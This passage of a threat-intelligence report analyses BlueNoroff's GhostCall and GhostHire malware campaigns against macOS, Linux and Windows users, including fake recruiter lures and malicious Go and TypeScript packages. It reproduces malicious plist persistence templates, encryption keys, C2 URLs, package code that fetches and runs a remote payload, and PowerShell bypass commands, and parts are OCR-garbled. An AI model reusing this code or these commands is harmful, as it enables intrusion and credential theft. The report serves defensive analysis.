e The SERVER AUTH_KEY environment variable is populated with the Gillylnjector’s path
/Library/Storage/CPU/cpumons that is RC4-encrypted using the hard-coded key

"yniERNUgGUHUAhgCzMAi" and then base64-encoded.

e The CLIENT AUTH_ KEY environment variable receives the hard-coded value " . .".

e The Program field points to the installed Nimcore loader’s path.

<dict>

</plist>

</dict>

<?xml version="1.0" encoding="UTF-8"?>

<IDOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<key>Label</key>
<string>%s</string> // generated bundle ID
<key>EnvironmentVariables</key>
<dict>
<key>SERVER_AUTH_KEY</key>
<string>%s</string> // encrypted path to the Gillylnjector
<key>CLIENT_AUTH_KEY</key>
<string>%s</string> // ..
</dict>
<key>Program</key>
<string>%s«</string> // path to the Nimcore loader
<key>StartInterval</key>
<integer>3600</integer>
<key>RunAtLoad</key>
<true/>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>StandardOutPath</key>
<string>/dev/null</string>
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The installer completes the persistence setup by using legitimate Launchctl commands to activate the persistence
mechanism, ensuring the Nimcore loader is executed. It first runs “Llaunchctl unload <bundle ID>.plist”on
any existing plist with the same name to remove previous instances, then executes “launchctl load <bundle
ID>.plist” to activate the new persistence configuration through /bin/zsh -c.

The second stage in this execution chain is the Nimcore loader, which is deployed by the installer and specified in
the Program field of the plist file. This loader reads the SERVER AUTH KEY environment variable with getenv (),
base64-decodes the value, and decrypts it with the same RC4 key used by the installer. The loader is able to
retrieve the necessary value because both SERVER AUTH KEY and CLIENT AUTH KEY are provided in the plist file
and filled in by the installer. After decryption, it invokes posix spawn () to launch Gillylnjector.

Gillylnjector is the third component in the RooTroy chain and follows the same behavior as described in the
CosmicDoor chain. In this instance, however, the password used for generation is hard-coded as xy@bomb# within
the component. The baseApp is primarily responsible for displaying only a simple message and acts as a carrier to
keep the injected final payload in memory during runtime.

The final payload is identified as RooTroy.macOS, written in Go. Upon initialization, RooTroy.macOS reads its
configuration from /Library/Google/Cache/.cfq, a file created by the primary installer, and uses the RC4
algorithm with the same 3DD226DOB700F33974F409142DEFB62A8CD172AE5F2EB9BEB7F5750EB1702E2A key
to decrypt it. If it fails to read the config file, it removes all files at /Library/Google/Cache and exits.

As the payload is executed at every boot time via a plist setup, it prevents duplicate execution by checking the .pid
file in the same directory. If a process ID is found in the file, it terminates the corresponding process and writes the
current process ID into the file. Additionally, it writes the string {"rt": "4.0.0."} into the .version file, also
located in the same directory, to indicate the current version. This string is encrypted using RC4 with the key
C4DB903322D17C8CBF1D1DB55124854C0OBO70D6ECE54162B6A4DO6DF24C572DF.

This backdoor executes commands from the /Library/Google/Cache/.startup file line by line. Each line is
executed via /bin/zsh -c "[command]" in a separate process. It also monitors the user’s login status and re-
executes the commands when the user logs back in after being logged out.

Next, RooTroy collects and lists all mounted volumes and running processes. It then enters an infinite loop,
repeatedly re-enumerating the volumes to detect any changes—such as newly connected USB drives, network
shares, or unmounted devices—and uses a different function to identify changes in the list of processes since the
last iteration. It sends the collected information to the C2 server via a POST request to /update endpoint with
Content-Type: application/json.

The data field in the response from the C2 server is executed directly via AppleScript with osascript -e. When
both the url and auth fields are present, RooTroy connects to the URL with GET method and the
Authorization header to retrieve additional files. Then it sleeps for five seconds and repeats the process.

Additional files are loaded as outlined below:

1. Generate a random 10-character file name in the temp directory: /private/tmp/[random-chars]
{10}.zip.
2. Save the downloaded data to that file path.
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3. Extract the ZIP file using ditto -xk /private/tmp/[random-chars]{10}.zip
/private/tmp/[random-chars]{10}.

4. Make the file executable using chmod +x /private/tmp/[random-chars]{10}/install.

5. Likely install additional components by executing /bin/zsh /private/tmp/[random-chars]
{10}/install /private/tmp/[random-chars]{10} /private/tmp/[random-chars]
{10}/ .result.

. Check the . result file for the string “success”.

. Send result to / report endpoint.

. Increment the cid field and save the configuration.

. Clean up all temp files.

© 00 N O

We also observed the RooTroy backdoor deploying files named keyboardd to the /Library/keyboard directory
and airmond to the /Library/airplay path, which were confirmed to be a keylogger and an infostealer.

RealTimeTroy chain

We recently discovered Gillylnjector containing an encrypted RealTimeTroy.macOS payload from the public
multiscanning service.

e Injector: Gillylnjector written in C++
e baseApp: the file named “ChromeUpdates” in the same ZIP file (not secured)
¢ Final payload: RealTimeTroy.macOS, written in Go

RealTimeTroy is a straightforward backdoor written in the Go programming language that communicates with a C2
server using the WSS protocol. We have secured both versions of this malware. In the second version, the baseApp
named “ChromeUpdates” should be bundled along with the injector into a ZIP file. While the baseApp data is
included in the same manner as in other Gillylnjector instances, it is not actually used. Instead, the
ChromeUpdates file is copied to the path specified as the first parameter and executed as the base application for
the injection.

This will be explained in more detail in the GhostHire campaign section as the payload RealTimeTroy.macOS
performs actions identical to the Windows version, with some differences in the commands. Like the Windows
version, it injects the payload upon receiving command 16. However, it uses functionality similar to Gillylnjector to
inject the payload received from the C2. The password for AES decryption and the hardcoded baseApp within
RealTimeTroy have been identified as being identical to the ones contained within the existing Gillylnjector (MD5
76ACE3A6892C25512B17ED42AC2EBDOS5).

Additionally, two new commands have been added compared to the Windows version, specifically for handling
commands via the pseudo-terminal. Commands 20 and 21 are used to respectively spawn and exit the terminal,
which is used for executing commands received from command 8.

We found the vcs . time metadata within the second version of RealTimeTroy.macOS, which implies the commit
time of this malware, and this value was set to 2025-05-29T12:22:09Z.

SneakMain chain
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During our investigation into various incidents, we were able to identify another infection chain involving the macOS
version of SneakMain in the victims’ infrastructures. Although we were not able to secure the installer malware, it
would operate similar to the RooTroy chain, considering the behavior of its loader.

e Installer: the primary installer (not secured)
¢ Loader: Identified as Nimcore loader, written in Nim
¢ Final payload: SneakMain.macOS, written in Nim

The Nimcore loader reads the SERVER AUTH KEY and CLIENT AUTH KEY environment variables upon execution.
Given the flow of the RooTroy chain, we can assume that these values are provided through the plist file installed by
an installer component. Next, the values are base64-decoded and then decrypted using the RC4 algorithm with the
hard-coded key vnoknknklfewRFRewf jkd LIJDKJDF, which is consistently used throughout the SneakMain
chain. The decrypted SERVER AUTH_KEY value should represent the path to the next payload to be executed by the
loader, while the decrypted CLIENT AUTH_KEY value is saved to the configuration file located at
/private/var/tmp/cfg.

We have observed that this loader was installed under the largest number of various names among malware as
follows:

e /Library/Application Support/frameworks/CloudSigner
/Library/Application Support/frameworks/Microsoft Excel

e /Library/Application Support/frameworks/Hancom Office HWP
/Library/Application Support/frameworks/zoom.us

/Library/Application Support/loginitems/onedrive/com.onedrive.updater

The payload loaded by the Nimcore loader has been identified as SneakMain.macOS, written in the Nim
programming language. Upon execution, it reads its configuration from /private/var/tmp/cfg, which is likely
created by the installer. The configuration’s original contents are recovered through RC4 decryption with the same
key and base64 decoding. In the configuration, a C2 URL and machine ID (mid) are concatenated with the pipe
character (“]”). Then SneakMain.macQOS constructs a JSON object containing this information, along with additional
fields such as the malware’s version, current time, and process list, which is then serialized and sent to the C2
server. The request includes the header Content-Type: application/json.

As a response, the malware receives additional AppleScript commands and uses the osascript -e command to
execute them. If it fails to fetch the response, it tries to connect to a default C2 server every minute. There are two
URLs hard-coded into the malware: hxxps://file-server[.]store/update and hxxps://cloud-
server[.]store/update.

One interesting external component of this chain is the configuration updater. This updater verifies the presence of
the configuration file and updates the C2 server address to hxxps://flashserve[.]store/update with the
same encryption method, while preserving the existing mid value. Upon a successful update, it outputs the updated
configuration to standard output.

Beside the Nim-based chain, we also identified a previous version of the SneakMain.macOS binary, written in Rust.
This version only consists of a launcher and the Rust-based SneakMain. It is expected to create a corresponding
plist for regular execution, but this has not yet been discovered. The Rust version supports two execution modes:
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¢ With arguments: the malware uses the C2 server and mid as parameters
« Without arguments: the malware loads an encrypted configuration file located at
/Library/Scripts/Folder Actions/Check.plist

This version collects a process list only at a specific time during execution, without checking newly created or
terminated processes. The collected list is then sent to the C2 server via a POST request to
hxxps://chkactive[.]online/update, along with the current time (uid) and machine ID (mid), using the
Content-Type: application/json header. Similarly, it uses the osascript -e command to execute
commands received from the C2 server.

DownTroy v2 chain

The DownTroy.macOS v2 infection chain is the latest variant, composed of four components, with the payload being
an AppleScript and the rest written in Nim. It was already covered by SentinelOne under the name of “NimDoor”. The
Nimcore loader in this chain masquerades as Google LLC, using an intentional typo by replacing the “I” (lowercase
“L”) in “Google LLC” with an “I” (uppercase “i").

o Installer: the primary installer file named "installer", written in Nim

¢ Dropper: a dropper file named "CoreKitAgent", written in Nim

e Loader: an auxiliary loader file named "GoogIe LLC" and identified as Nimcore loader, written in Nim
¢ Final payload: DownTroy.macQOS, written in AppleScript

The installer, which is likely downloaded and initiated by a prior malicious script, serves as the entry point for this
process. The dropper receives an interrupt (SIGINT) or termination signal (SIGTERM) like in the DownTroy v1 chain,
recreating the components on disk to recover them. Notably, while the previously described RooTroy and SneakMain
chains do not have this recovery functionality, we have observed that they configure plist files to automatically
execute the Nimcore loader after one hour if the process terminates, and they retain other components. This
demonstrates how the actor strategically leverages DownTroy chains to operate more discreetly, highlighting some
of the key differences between each chain.

The installer should be provided with one parameter and will exit if executed without it. It then copies
./CoreKitAgent and ./GoogIe LLC from the current location to ~/Library/CoreKit/CoreKitAgent and
~/Library/Application Support/Google LLC/GoogIe LLC, respectively. Inside of the installer,
com.google.update.plist (the name of the plist) is hard-coded to establish persistence, which is later
referenced by the dropper and loader. The installer then concatenates this value, the given parameter, and the
dropper’s filename into a single string, separated by a pipe (“|").

~/Library/Application Support/Google LLC/Google
LLC|~/Library/LaunchAgents/com.google.update.plist|<mid value as a parameter>

This string is encrypted using the AES algorithm with a hard-coded key and 1V, and the resulting encrypted data is
then saved to the configuration file.

e Key: 5B77F83ECEFAQE32BA922F61C9EFFF7F755BA51A010DB844CA7E8AD3DB28650A
e |V: 2B499EB3865A7EF17264D15252B7F73E
e Configuration file path: /private/tmp/.config
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It fulfills its function by ultimately executing the copied dropper located at ~/Library/CoreKit/CoreKitAgent.

The dropper in the DownTroy v2 chain uses macOS’s kqueue alongside Nim’s async runtime to manage
asynchronous control flow, similar to CosmicDoor, the Nimcore loader in the RooTroy chain, and the Nim version of
SneakMain.macOS. The dropper monitors events via kqueue, and when an event is triggered, it resumes the
corresponding async tasks through a state machine managed by Nim. The primary functionality is implemented in
state 1 of the async state machine.

The dropper then reads the encrypted configuration from /private/tmp/.config and decrypts it using the AES
algorithm with the hard-coded key and IV, which are identical to those used in the installer. By splitting the decrypted
data with a “|”, it extracts the loader path, the plist path, and the parameter provided to the installer. Next, it reads all
the contents of itself and the loader, and deletes them along with the plist file in order to erase any trace of their
existence. When the dropper is terminated, a handler function is triggered that utilizes the previously read contents
to recreate itself and the loader file. In addition, a hard-coded hex string is interpreted as ASCII text, and the
decoded content is written to the plist file path obtained from the configuration.

<?xml version="1.0" encoding="UTF-8"7>
<IDOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http:/fwww.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>%label%</string> // com.google.update
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>LaunchOnlyOnce</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>SERVER_AUTH_KEY</key>
<string>%server auth key%z</string> // hex bytes of the encrypted
'~/Library/CoreKit/CoreKitAgent'
<key>CLIENT AUTH_KEY</key>
<string>%oclient_auth_key%=</string> // hex bytes of the encrypted configuration
</dict>
<key>Program</key>
<string>%program%~</string> // ~/Library/Application Support/Google LLC/Google LLC
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>StandardOutPath</key>
<string>/dev/null</string>
</dict>
</plist>
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In the contents above, variables enclosed in %’s are replaced with different strings based on hard-coded values and
configurations. Both authentication key variables are stored as encrypted strings with the same AES algorithm as
used for the configuration.

e %label% -> com.google.update

e %server auth key% -> AES-encrypted selfpath (~/Library/CoreKit/CoreKitAgent)

e %Client auth key% -> AES-encrypted configuration

e %programs -> loader path (~/Library/Application Support/Google LLC/GoogIe LLC)

The core functionality of this loader is to generate an AppleScript file using a hard-coded hex string and save it as
. ses in the same directory. The script, identified as DownTroy.macOS, is designed to download an additional
malicious script from a C2 server. It is nearly identical to the one used in the DownTroy v1 chain, with the only
differences being the updated C2 servers and the curl command option.

We have observed three variants of this chain, all of which ultimately deploy the DownTroy.macOS malware but
communicate with different C2 servers. Variant 1 communicates with the same C2 server as the one configured in
the DownTroy v1 chain, though it appears in a hex-encoded form.

Config path C2 server Curl command
¥ar|ant /private/var/tmp/cfg hxxps://bots[.]Jautoupdate[.Jonline:8080/test curl —no-buffer -X POST -H
Variant Jorivate/tmo/.confi hxxps://writeup][.]live/test, curl —connect-timeout 30 —max-time
2 P P 9 hxxps://safeup[.]store/test 60 —no-buffer -X POST -H
Variant Jorivate/tmp/.confi hxxps://api[.]clearit[.]sbs/test, curl —connect-timeout 30 —max-time
3 P bl 9 hxxps://api[.]flashstore[.]sbs/test 60 —no-buffer -X POST -H

The configuration file path used by variant 1 is the same as that of SneakMain. This indicates that the actor
transitioned from the SneakMain chain to the DownTroy chain while enhancing their tools, and this variant’'s dropper
is identified as an earlier version that reads the plist file directly.

SysPhon chain

Unlike other infection chains, the SysPhon chain incorporates an older set of malware: the lightweight version of
RustBucket and the known SugarLoader. According to a blog post by Field Effect, the actor deployed the lightweight
version of RustBucket, which we dubbed “SysPhon”, alongside suspected SugarLoader malware and its loader,
disguised as a legitimate Wi-Fi updater. Although we were unable to obtain the suspected SugarLoader malware
sample or the final payloads, we believe with medium-low confidence that this chain is part of the same campaign by
BlueNoroff. This assessment is based on the use of icloud helper (a tool used for stealing user passwords) and
the same initial infection vector as before: a fake Zoom link. It's not surprising, as both malicious tools have already
been attributed to BlueNoroff, indicating that the tools were adapted for the campaign.

Considering the parameters and behavior outlined in the blog post above, an AppleScript script deployed

icloud helper to collect the user’s password and simultaneously installed the SysPhon malware. The malware
then downloaded SugarlLoader, which connected to the C2 server and port pair specified as a parameter. This
ultimately resulted in the download of a launcher to establish persistence. Given this execution flow and
SugarLoader’s historical role in retrieving the KANDYKORN malware, it is likely that the final payload in the chain
would be KANDYKORN or another fully-featured backdoor.
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SysPhon is a downloader written in C++ that functions similarly to the third component of the RustBucket malware,
which was initially developed in Rust and later rewritten in Swift. In March 2024, an ELF version of the third
component compatible with Linux was uploaded to a multi-scanner service. In November 2024, SentinelOne
reported on SysPhon, noting that it is typically distributed via a parent downloader that opens a legitimate PDF
related to cryptocurrency topics. Shortly after the report, a Go version of SysPhon was also uploaded to the same
scanner service.

SysPhon requires a C2 server specified as a parameter to operate. When executed, it generates a 16-byte random
ID and retrieves the host name. It then enters a loop to conduct system reconnaissance by executing a series of
commands:

Information to collect Command

macOS version sw_vers —ProductVersion

Current timezone date +%Z

macOS installation log (Update, package, etc) grep “Install Succeeded” /var/log/install.log awk ‘{print $1, $2}
Hardware information sysctl -n hw.model

Process list ps aux

System boot time sysctl kern.boottime

The results of these commands are then sent to the specified C2 server inside a POST request with the following
User-Agent header: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0). This User-
Agent is the same as the one used in the Swift implementation of the RustBucket variant.

1 cifrandom ID][hostname][macOS version][timezone][install log][boot time][hw model][current time][process
list]

After sending the system reconnaissance data to the C2 server, SysPhon waits for commands. It determines its next

action by examining the first character of the response it receives. If the response begins with 0, SysPhon executes
the binary payload; if it's 1, the downloader exits.

Al-powered attack strategy

While the video feeds for fake calls were recorded via the fabricated Zoom phishing pages the actor created, the
profile images of meeting participants appear to have been sourced from job platforms or social media platforms
such as LinkedIn, Crunchbase, or X. Interestingly, some of these images were enhanced with GPT-40. Since
OpenAl implemented the C2PA standard specification metadata to identify the generated images as artificial, the
images created via ChatGPT include metadata that indicates their synthetic origin, which is embedded in file formats
such as PNGs.
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File Type

File Type Extension
MIME Type

Image Width

Image Height

Bit Depth

Color Type
Compression

Filter

Interlace

JUMD Type
JUMD Label

Actions Action

Actions Software Agent Name
Actions Digital Source Type
Exclusions Start

Exclusions Length

Instance ID
Claim Generator Info Name

: PNG

: png

: image/png

: 1024

: 1024

H

: RGB

: Deflate/Inflate

: Adaptive

: Noninterlaced

: (c2pa)-0011-0010-8000002200389b71

: c2pa

: c2pa.created, c2pa.converted

: GPT-40, OpenAl API

: http://cv.iptc.org/newscodes/digitalsourcetype/trainedAlgorithmicMedia
: 33

: 14149

: jumbf manifest

: sha256

: (Binary data 32 bytes, use -b option to extract)
: (Binary data 8 bytes, use -b option to extract)
: xmp:iid:02578fc0-el2b-4761-b724-f9a5bc8adoe7

: ChatGPT

EXIF metadata of images generated by GPT-40

Among these were images whose filenames were set to the target’'s name. This indicates the actor likely used the
target’s publicly available profile image to generate a suitable profile for use alongside the recorded video.
Furthermore, the inclusion of Zoom’s legitimate favicon image leads us to assess with medium-high confidence that
the actor is leveraging Al for image enhancement.

Victim’s profile image enhanced using GPT-40

In addition, the secrets stealer module of SilentSiphon, secrets. sh, includes several comment lines. One of them
uses a checkmark emoticon to indicate archiving success, although the comment was related to the backup being
completed. Since threat actors rarely use comments, especially emoticons, in malware intended for real attacks, we
suggest that BlueNoroff uses generative Al to write malicious scripts similar to this module. We assume they likely
requested a backup script rather than an exfiltration script.
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SECRET_PATHS=(

backup_us

USER_HOME=$2

if [[ “$EUID" -eq @ ]]: then
yr USER_HOME in "$HOME_BASE"/*; do

USERNAME=%(basename “$USER_HOME")

red" || "$USERNAME" == .x |]; ther

{f [[ —d "S$USER_HOME" 11; ther
backup_use SERNAME" "SUSER_HOME™

$USER_HOME"
f

—ck "S$TEMP_DIR" "SOUTPUT" =/dev/null
'l

rm —rf “STEMP_DIR

Comments that appear to be Al-generated in the secrets stealer module

The GhostHire campaign

The GhostHire campaign was less visible than GhostCall, but it also began as early as mid-2023, with its latest
wave observed recently. It overlaps with the GhostCall campaign in terms of infrastructure and tools, but instead of
using video calls, the threat actors pose as fake recruiters to target developers and engineers. The campaign is
disguised as skill assessment to deliver malicious projects, exploiting Telegram bots and GitHub as delivery vehicles.
Based on historical attack cases of this campaign, we assess with medium confidence that this attack flow involving
Telegram and GitHub represents the latest phase, which started no later than April this year.

Initial access

The actor initiates communication with the target directly on Telegram. Victims receive a message with a job offer
along with a link to a LinkedIn profile that impersonates a senior recruiter at a financial services company based in
the United States.
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Senior Recruiter @ | Recruitment Strategy, Talent
Acquisition - We're Hiring!

United States - Contact info

500+ connections

<+ Foliow) (More)

About

With a deep-rooted passion for recruiting, | have embarked on a dynamic career journey that has taken me through
various facets of the technology and finance space from beth an in-house and agency perspective. From my early days in
tech to transitioning inte corporate and finance roles, | have always been drawn to the art of talent acquisition and
fostering impactful connections.

Fake LinkedIn profile

We observed that the actor uses a Telegram Premium account to enhance their credibility by employing a custom
emoji sticker featuring the company’s logo. They attempt to make the other party believe they are in contact with a
legitimate representative.
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User Info

® Senior Recruiter @

ADD TO CONTACTS

Q Notifications

Fake Telegram account

During the investigation, we noticed suspicious changes made to the Telegram account, such as a shift from the
earlier recruiter persona to impersonating individuals associated with a Web3 multi-gaming application. The actor
even changed their Telegram handle to remove the previous connection.
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User Info

CTO & Co-Founder @

ADD TO CONTACTS

Notifications

The same Telegram account changed to impersonate a Web3 company founder

During the early stages of our research and ongoing monitoring of publicly available malicious repositories, we
observed a blog post published by a publicly cited target. In this post, the author shares their firsthand experience
with a scam attempt involving the same malicious repositories we already identified. It provided us with valuable
insight into how the group initiates contact with a target and progresses through a fake interview process.

Following up on initial communication, the actor adds the target to a user list for a Telegram bot, which displays the
impersonated company’s logo and falsely claims to streamline technical assessments for candidates. The bot then
sends the victim an archive file (ZIP) containing a coding assessment project, along with a strict deadline (often
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around 30 minutes) to pressure the target into quickly completing the task. This urgency increases the likelihood of

the target executing the malicious content, leading to initial system compromise.

The project delivered through the ZIP file appears to be a legitimate DeFi-related project written in Go, aiming at

routing cryptocurrency transactions across various protocols. The main project code relies on an external malicious
dependency specified in the go . mod file, rather than embedding malicious code directly into the project’s own files.

The external project is named uniroute. It was published in the official Go packages repository on April 9, 2025.

We had observed this same repository earlier in our investigation, prior to identifying the victim’s blog post, which

later validated our findings. In addition to the Golang repository, we discovered a TypeScript-based repository
uploaded to GitHub that has the same download function.

O 00 N O U B W N =

S
N =R ®

13

module unirouter
go 1.24.1
toolchain gol.24.2
require (

github.com/TedCollin/uniroute/v2 v2.1.3
github.com/ethereum/go-ethereum v1.14.11

github.com/joho/godotenv v1.5.1

require github.com/yusufpapurcu/wmi v1.2.4 // indirect

Uniroute malicious package is referenced via go.mod in the DeFi-related project

Upon execution of the project, the malicious package is imported, and the GetUniRoute () function is called during
the initialization of the unirouter at the following path: contracts/UniswapUniversalRouter.go. This function
call acts as the entry point for the malicious code.
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1 pack
2

3 impo
4

5

6

7

8 )

9

10 var
11 var
12 var
13

14 v func
15
16
17

age contracts

rt (
"strings"

"github.com/TedCollin/uniroute/v2"
"github.com/ethereum/go-ethereum/accounts/abi"

UniswapUniversalRouterAddress = "@0x3fc91a3afd7¢
UniswapUniversalRouterAbiString = " [{"inputs":|
UniswapUniversalRouterAbi abi.ABI

InitUniswapUniversalRouterAbi() error {

var err error

UniswapUniversalRouterAbi, err = abi.JSON(strir
uniroute.GetUniRoute()

Entry point of malicious function

The malicious package consists of several files:

1 uniroute

2 — README.md

3 —dar.go

4 }— go.mod

5 — go.sum

6 —lin.go

7 — uniroute.go

8 L—win.go

The main malicious

logic is implemented in the following files:

1. uniroute.go: the main entry point

33/50


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/10/27060353/bluenoroff-apt-campaigns28.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/10/27060353/bluenoroff-apt-campaigns28.png

2. win.go: Windows-specific malicious code
3. lin.go: Linux-specific malicious code
4. dar.go: macOS (Darwin)-specific malicious code

The main entry point of the package includes a basic base64-encoded blob that is decoded to a URL hosting the
second-stage payload:
hxxps://download.datatabletemplate[.]xyz/account/register/id=8118555902061899&secret=QwLoOZSDakFh.

1 package uniroute

2

3 import "encoding/base64"

4

5 var (

6 checksum = "aHR@cHM6LY9kb3dubG9hZC5kYXRhdGFibGVAZW1wbGF@ZS54eX
7 )

8

9 func GetUniRoute() {
10 chsum, _ := base64.StdEncoding.DecodeString(checksum)
11 fset(string(chsum))
12 }

Base64-encoded C2 URL in the malicious package

When the User-Agent of the running platform is detected, the corresponding payload is retrieved and executed. The
package utilizes Go build tags to execute different code depending on the operating system.

¢ Windows (win.go). Downloads its payload to STEMP%\init.ps1 and performs anti-antivirus checks by
looking for the presence of the 360 Security process. If the 360 antivirus is not detected, the malware
generates an additional VBScript wrapper at STEMP%\1init.vbs. The PowerShell script is then covertly
executed with a bypassed execution policy, without displaying any windows to the user.

e Linux (1in.go). Downloads its payload to /tmp/init and runs it as a bash script with nohup, ensuring the
process continues running even after the parent process terminates.

¢ macOS (dar.go). Similarly to Linux, downloads its payload to /tmp/init and uses osascript with nohup
to execute it.

We used our open source package monitoring tool to discover that the actor had published several malicious Go
packages with behavior similar to uniroute. These packages are imported into repositories and executed within a
specific section of the code.

Package Version Published date Role

sorttemplate v1.1.1 ~ v1.1.5 Jun 11, 2024 ~ Apr 17, 2025 Malicious dependency

sort v1.1.2 ~v1.1.7 Nov 10, 2024 ~ Apr 17, 2025 Refers to the malicious sorttemplate
sorttemplate v1.1.1 Jan 10, 2025 Malicious dependency

uniroute v1.1.1 ~v2.1.5 Apr 2, 2025 ~ Apr 9, 2025  Malicious dependency

BaseRouter — Apr 5, 2025 ~Apr 7, 2025  Malicious dependency

34/50


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/10/27060654/bluenoroff-apt-campaigns29.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/10/27060654/bluenoroff-apt-campaigns29.png
https://www.kaspersky.com/open-source-feed?icid=gl_sl_post-link-sas-open-source-feed_sm-team_fb57efce5be5d86f

Malicious TypeScript project

Not only did we observe attacks involving malicious Golang packages, but we also identified a malicious Next.js
project written in TypeScript and uploaded to GitHub. This project includes TypeScript source code for an NFT-
related frontend task. The project acts in a similar fashion to the Golang ones, except that there is no dependency.
Instead, a malicious TypeScript file within the project downloads the second-stage payload from a hardcoded URL.

70 v export default function handler(

74 register("https://download. face-online.world/account/register/id=6166619449731793&secret=LcjWRgjPrHmD")

71 req: NextApiRequest,

72 res: NextApiResponse<Data>

73 ) £

75 res.status(200).json({ name: 'John Doe' })
76 ¥

Malicious TypeScript-based project

The malicious behavior is implemented in pages/api/hello.ts, and the hello APl is fetched by NavBar.tsx

with fetch('/api/hello').

1 wallet-portfolio

— README.md

— components

| —navBar

| | |— NavBar.tsx #### caller

— data

— next.config.js
— package-lock.json
10 }— package.json

11 }— pages

12| |—404.tsx

13| |— _app.tsx

14 | |— _document.tsx
15| |—api

16| | F—404.ts

17| | F—appts

18| | |— hello.ts ##### malicious

2
3
4
5
6
7
8
9

19 ..
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20 | |— create-nft.tsx
21| |— explore-nfts.tsx
22 ...

We have to point out that this tactic isn’t unique to BlueNoroff. The Lazarus group was the first to adopt it, and the
Contagious Interview campaign also uses it. However, the GhostHire campaign stands apart because it uses a
completely different set of malware chains.

DownTroy: multi-platform downloader

Upon accessing the URL with the correct User-Agent, corresponding scripts are downloaded for each OS:
PowerShell for Windows, bash script for Linux, and AppleScript for macOS, which all turned out to be the DownTroy
malware. It is the same as the final payload in the DownTroy chains from the GhostCall campaign and has been
expanded to include versions for both Windows and Linux. In the GhostHire campaign, this script serves as the initial
downloader, fetching various malware chains from a file hosting server.

E =
— —

macos ftmp/init
(DownTroy.macOS)

Determine OS

= based on the
Contains [ Access user-agent Downloads
— % — —

Malicious Go/TypeScript Entry point file C2 server Windows %TEMP%\init.ps1
project (DownTroy.Windows)

Downloads
L[] e,

Linux ftmp/init
(DownTroy.Linux)

DownTroy delivery process

Over the course of tracking this campaign, we have observed multiple gradual updates to these DownTroy scripts.
The final version shows that the PowerShell code is XOR-encrypted, and the AppleScript has strings split by
individual characters. Additionally, all three DownTroy strains collect comprehensive system information including OS
details, domain name, host name, username, proxy settings, and VM detection alongside process lists.

Full infection chain on Windows

In January 2025, we identified a victim who had executed a malicious TypeScript project located at <company
name>-wallet-portfolio, which followed the recruiter persona from the financial company scenario described
earlier. The subsequent execution of the malicious script created the files init.vbs and init.psl in the %stemp%
directory.
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The DownTroy script (init.ps1) was running to download additional malware from an external server every 30
seconds. During the attack, two additional script files, chsplitobf.psl and sinst.bat, were downloaded and
executed on the infected host. Though we weren’t able to obtain the files, based on our detection, we assess the
PowerShell script harvests credentials stored in a browser, similar to SilentSiphon on macOS.

In addition, in the course of the attack, several other payloads written in Go and Rust rather than scripts, were
retrieved from the file hosting server dataupload| . ]store and executed.

4. Load £ 3
| %
UAC bypass tool

1. Execute 2. Download Communicate with @
init.vbs DownTroy Browser stealer safeupload.online

init.ps1, chsplitobf.ps1

Hni.ps1) {chsp ps) 5. Load ™3 6. Load - 7. Download -

l Communicate with ‘%’ ‘*’ *
RooTroy loader registered RooTroy RealTimeTroy

as a service (netchksve.dll)
3. Request payloads
Communicate with Communicate with

bots.autoupdate.online

upload-test.xyz dataupload.store
update-assist.org 8. Load [ - ]

i readysafe.xyz signsafe.xyz
@ CosmicDoor safefor.xyz
written in Go
1
— Communicate with

(Updated C2) sinst.bat 9. Create -

writeup.live L [*] —-

safeup.store

Bof loader second.systemupdate.cloud
written in Rust
(nisport.dll)

Overall Windows infection chain
New method for payload delivery

In contrast to GhostCall, DownTroy.Windows would retrieve a base64-encoded binary blob from the file hosting

server and inject it into the cmd . exe process after decoding. This blob typically consists of metadata, a payload, and
the loader code responsible for loading the payload. The first five bytes of the blob represent a CALL instruction that
invokes the loader code, followed by 0x48 bytes of metadata. The loader, which is 0xD6B bytes in size, utilizes the

metadata to load the payload into memory. The payload is written to newly allocated space, then relocated, and its
import address table (IAT) is rebuilt from the same metadata. Finally, the payload is executed with the
CreateThread function.

37/50


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/10/28071408/bluenoroff-apt-campaigns32.jpg
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/10/28071408/bluenoroff-apt-campaigns32.jpg

Metadata of payload -

1. call 2. Reference

Filled with \x00

3. Invoke using the CreateThread

A

Payload

Downloaded binary blob

Binary blob structure

The metadata contains some of the fields from PE file format, such as an entry point of the payload, imagebase,
number of sections, etc, needed to dynamically load the payload. The payload is invoked by the loader by
referencing the metadata stored separately, so it has a corrupted COFF header when loaded. Generally, payloads in
PE file format should have a legitimate header with the corresponding fields, but in this case, the top 0x188 bytes of
the PE header of the payload are all filled with dummy values, making it difficult to analyze and detect.

UAC bypass

We observed that the first thing the actor deployed after DownTroy was installed was the User Account Control
(UAC) bypass tool. The first binary blob fetched by DownTroy contained the payload bypassing UAC that used a
technique disclosed in 2019 by the Google Project Zero team. This RPC-based UAC bypass leveraging the
201ef99a-7fa0-444c-9399-19ba84f12ala interface was also observed in the KONNI malware execution
chain in 2021. However, the process that obtains the privilege had been changed from Taskmgr . exe to
Computerdefaults.exe.

The commands executed through this technique are shown below. In this case, this.exe is replaced by the
legitimate explorer.exe due to parent PID spoofing.
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this.exe powershell.exe -executionpolicy bypass -file %temp%\init.ps1

this.exe powershell -encodedcommand
aQB1AHgATAAOAECAZQBOACOAQWBVAGAAdAB1AGAAdAAgACBAUABhAHQAaAAAgACgAJABIAG
4AdgA6AFQARQBNAFAAKwALIAFwAaQBUAGKAdAAUAHAACWAXACIAKQAgACOAUgBhAHCAKQA=

-> (decoded) iex (Get-Content -Path (Senv:TEMP+"\init.ps1") -Raw)

this.exe wscript //B //Nologo %temp%\init.vbs

In other words, the actor was able to run DownTroy with elevated privileges, which is the starting point for all further
